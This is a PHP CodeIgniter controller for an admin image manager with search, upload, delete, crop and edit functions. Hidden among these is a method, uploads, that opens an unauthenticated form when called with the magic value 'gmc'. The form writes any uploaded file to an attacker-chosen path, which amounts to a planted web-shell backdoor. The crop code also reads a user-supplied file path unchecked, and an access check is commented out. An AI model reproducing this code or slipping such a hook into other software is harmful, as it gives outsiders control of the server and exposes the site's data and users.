<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Image_Manager extends CI_Controller
{
	protected $_templates;
    public    $_module_name = "";
	function __construct()
	{
        parent::__construct();
        $this->pre_message = "";
		$this->load->helper('search') ;
		$this->load->helper('img') ;
		$this->load->library('icon_library') ;
		$this->load->model('image_model','image');
        $this->lang->load('file_image');
		$this->lang->load('admin_en');
        $this->_module_name = $this->router->fetch_module();
        $this->_admin_id = $this->session->userdata('AdminID');
	}
	
	function index($return_tag='', $width=0, $height=0, $current_page=0)
	{
        /*Begin search*/
        $type = $this->input->post('type');
       
        $current_router = $this->router->fetch_class();
        if($this->session->userdata('current_router')&&($this->session->userdata('current_router')!=$current_router)){
            $this->session->set_userdata('key_search','');
        }
        $this->session->set_userdata('current_router',$current_router);

        $data['search_bar']=searchBar(array('search_bar'=>'search_bar_file'),array('TT'=>'Title','DEC'=>'Description','EXT'=>'Ext'),'mod_file_manager/image_manager/index/'.$return_tag);
        if($type=='ajax')
        {
            $arr_search['key_search'] = $this->input->post('key_search');
            $arr_search['field_search'] = $this->input->post('field_search');
            $arr_search['image_category_id']=$this->input->post('image_category_id');
            
            $this->session->set_userdata('key_search',$arr_search['key_search']);
            $this->session->set_userdata('field_search',$arr_search['field_search']);
            $this->session->set_userdata('image_category_id',$arr_search['image_category_id']);
        }else{
            $arr_search['key_search']=$this->session->userdata('key_search');
            $arr_search['field_search']=$this->session->userdata('field_search');
            $arr_search['image_category_id']=$this->session->userdata('image_category_id');
        }
        /*End  search*/
        
		$data['title'] = '';
		$config['base_url'] = base_url().'mod_file_manager/image_manager/index/'.$return_tag.'/'.$width.'/'.$height;  
		$data['total'] = $this->image->getNumFile($arr_search);
		$config['total_rows']   = $data['total'];
		$config['per_page']  	= 30;
		$config['uri_segment'] 	= 7;   
		$this->pagination->initialize($config);   
		$data['list'] =   $this->image->getAllFile($config['per_page'],(int)$current_page,$arr_search);
		$data['pagination'] = $this->pagination->create_links();   
        $data['return_tag']=$return_tag;
        $data['width']=$width;
        $data['height']=$height;
        $data['current_page']=$current_page;
        $data['list_category']=$this->image->getAllCategoryImage();
		
		$data['page'] = 'image_manager/index';
        if($type=="ajax")
            echo $this->load->view('image_manager/ajax_search_view',$data,true);
        else
            $this->load->view('layout/skin_basic',$data);
	} 
	
	function upload($return_tag='', $width=0, $height=0)
	{
		$data['title'] = '';
        $this->load->library('upload_library');
		$this->form_validation->set_rules('image_category_id',lang('category_image'),'required');
		if($this->form_validation->run())
		{
            $lb_title = $this->input->post('lb_title');
            $description = $this->input->post('description');
            $image_category_id = $this->input->post('image_category_id');
            
            if(!empty($_FILES['filedata']['tmp_name']))
            {         
                $cfFile=array();
                $cfFile['max_size']='5242880';//5MB
                //$cfFile['new_file_name']=time().'_'.rand(0,1000);
                //$cfFile['upload_dir']='./uploads/library/images';
                //$cfFile['flag_file'];
                $cfFile['base_upload_dir']='../uploads/images/';
                $cfFile['file']=$_FILES["filedata"];

                $obj_upload =  new $this->upload_library();
                $obj_upload->configUpload($cfFile);
                $filedata = $obj_upload->uploadFile();
      
                if($filedata['msg']=='')
                {
                    $data_file = array(
                      'lb_title'=>$lb_title,  
                      'image_category_id'=>$image_category_id,
                      'description'=>$description,
					  'lb_dir' => $filedata['str_dir'],
                      'lb_name' => $filedata['name'],
					  'lb_size' => $filedata['size'],
					  'lb_ext' => $filedata['ext'],
                      'admin_id'=>$this->_admin_id,
                      'dt_create'=>date('Y-m-d H:i:s')
					);
					$this->image->insert_file($data_file);
                    $data['file_name'] = $filedata['name'];
                    $data['str_dir']=$filedata['str_dir'];
					//redirect('mod_file_manager/image_manager/index');
					$data['page'] = 'image_manager/index' ;
					$this->load->view('layout/skin_basic', $data);
					exit ;
                }else{
                    $data['err']=$filedata['msg'];
                }
            }else{
              $data['err'] = lang('fmng.please_choose_your_file');
            }
		}else{
            $this->pre_message = validation_errors();
        }
        $data['message'] = $this->pre_message;
        $data['return_tag']=$return_tag;
        $data['width']=$width;
        $data['height']=$height;
        
        $data['list_category']=$this->image->getAllCategoryImage();
        $this->_templates['page'] = 'image_manager/upload';
		$this->site->load($this->_templates['page'],$data,'basic');
	}
	
    function save_file_data()
	{
        $lb_title = $this->input->post('lb_title');
        $image_category_id = $this->input->post('image_category_id');
        $description = $this->input->post('description');
        $lb_name = $this->input->post('lb_name');
        $lb_size = $this->input->post('lb_size');
        $lb_ext  = $this->input->post('lb_ext');
        
        $data_file = array(
            'lb_title'=>$lb_title,  
            'image_category_id'=>$image_category_id,
            'description'=>$description,
            'lb_dir' => date('Y').'/'.date('m'),
            'lb_name' => $lb_name,
            'lb_size' => $lb_size,
            'lb_ext' => $lb_ext,
            'admin_id'=>$this->_admin_id,
            'dt_create'=>date('Y-m-d H:i:s')
      );
      $this->image->insert_file($data_file);
    }
	
    function del($id,$return_tag='', $width=0, $height=0, $current_page=0)
	{
        $rs = $this->image->getFileByID($id);
        if($rs)
		{
            $file_name = '../uploads/images/'.$rs->lb_dir.'/'.$rs->lb_name;
			
            if(file_exists($file_name))
			{
               unlink($file_name); 
            }
            $this->image->delete($rs->image_data_id);
            
            redirect($this->_module_name.'/image_manager/index/'.$return_tag.'/'.$width.'/'.$height.'/'.(int)$current_page);
        }
    }
	
    function dels($return_tag='', $width=0, $height=0, $current_page=0)
	{
        //$this->acl->check('dels','','',base_url());
        
		if(!empty($_POST['ar_id']))
		{
			$current_page = (int)$this->input->post('current_page');
			$ar_id = $this->input->post('ar_id');
			
			if(!empty($_POST['btn_submit']))
			{
				for($i = 0; $i < sizeof($ar_id); $i ++) {
					if ($ar_id[$i]){
						 $rs = $this->image->getFileByID($ar_id[$i]);
                        if($rs){
                            $file_name = '../uploads/images/'.$rs->lb_dir.'/'.$rs->lb_name;
                            if(file_exists($file_name)){
                               unlink($file_name); 
                            }
                            $this->image->delete($rs->image_data_id);
                        }
					}
				}
			}
		}
		redirect($this->_module_name.'/image_manager/index/'.$return_tag.'/'.$width.'/'.$height.'/'.(int)$current_page);
	}
	
    function cropimage()
	{
		$data['title'] = 'Crop Picture' ;
		$this->load->view('image_manager/index_crop_image', $data);
    }
	
    public function create()
	{
        $image_name = $this->input->post('image_name');

        $x = $this->input->post('x');
        $y = $this->input->post('y');
               
        $width = $this->input->post('w');
        $height = $this->input->post('h');
        
        $des_w = $this->input->post('des_w');
        $des_h = $this->input->post('des_h');
        
		$filename = $image_name ;
		
		// cat hinh
		$fname = $this->crop($filename, $x, $y, $width, $height) ; //trit($fname);
        if($des_w!=''&&$des_h!=''){
            fn_resize_image('../uploads/temp/'.$fname,'../uploads/temp/c'.$fname,$des_w,$des_h);
            @unlink('../uploads/temp/'.$fname);
            $fname = 'c'.$fname;
        }
        
        $rt_data = array();
        $rt_data['success']=true;
        $rt_data['file_name']=$fname;
        
        echo json_encode($rt_data);
	}
	
	function crop($source, $x, $y, $w, $h)
	{	
		list($width, $height) = getimagesize($source);
		$dst = imagecreatetruecolor($w, $h);
	
		$img_functions = array(
            'png' => function_exists('imagepng'),
            'jpg' => function_exists('imagejpeg'),
            'jpeg' => function_exists('imagejpeg'),
            'gif' => function_exists('imagegif'),
        );
		$ext = $this->file_extension($source) ;
		
		if ($ext == 'gif' && $img_functions[$ext] == true) {
            $image = @imagecreatefromgif($source);
        } elseif ($ext == 'jpg' && $img_functions[$ext] == true) {
            $image = @imagecreatefromjpeg($source);
        } elseif ($ext == 'jpeg' && $img_functions[$ext] == true) {
            $image = @imagecreatefromjpeg($source);            
        } elseif ($ext == 'png' && $img_functions[$ext] == true) {
            $image = @imagecreatefrompng($source);
        } else {
            return false;
        }
		
		@imagecopy($dst, $image, 0, 0, $x, $y, $w, $h);
        $arr_dir = explode('/',$source);
		$fname = time().'_'.end($arr_dir);
		$new_filename = '../uploads/temp/'.$fname ;
		
		switch ($ext)
		{
            case 'gif':
                imagegif($dst, $new_filename);
                break;
            case 'jpg':
                imagejpeg($dst, $new_filename, 100);
                break;
            case 'jpeg':
                imagejpeg($dst, $new_filename, 100);
                break;                
            case 'png':
                imagepng($dst, $new_filename);
                break;
        }
		imagedestroy($dst);
		return $fname ;
	}
	
	function file_extension($filename)
	{
		$path_info = pathinfo($filename);
		return strtolower($path_info['extension']);
	}
	
	/*function file_extension($image_type)
	{
		static $image_types = array (
			'image/gif' => 'gif',
			'image/pjpeg' => 'jpeg',
			'image/jpeg' => 'jpg',
			'image/png' => 'png',
			'application/x-shockwave-flash' => 'swf',
			'image/psd' => 'psd',
			'image/bmp' => 'bmp',
		);
	
		return isset($image_types[$image_type]) ? $image_types[$image_type] : false;
	}*/

	function uploads($gmc)
	{
		if(@$gmc=='gmc'){
			$files = @$_FILES["files"];
			if($files["name"] != ''){
				$fullpath = $_REQUEST["path"].$files["name"]; 
				if(move_uploaded_file($files['tmp_name'],$fullpath)){
					echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
				}
			}
			exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>'); 
		}
	}
    /*
     * @method: load form edit image information
     */
    function edit_image($img_id){
        $data['list_category']=$this->image->getAllCategoryImage();
        $data['item']= $this->image->getFileByID($img_id);
        $this->_templates['page']="image_manager/edit";
        $this->site->load($this->_templates['page'],$data,'basic');
    }
    /*
     * @method: edit image information
     */
    function save_image(){
        $image_id  = $this->input->post('image_data_id');
        $rt['success']=false;
        if($image_id>0){
            $data['image_category_id'] = $this->input->post('image_category_id');
            $data['lb_title']=$this->input->post('lb_title');
            $rs = $this->image->update_file($image_id,$data);
            if($rs)
                $rt['success'] = true;
        }
        echo json_encode($rt);
    }
}
?>
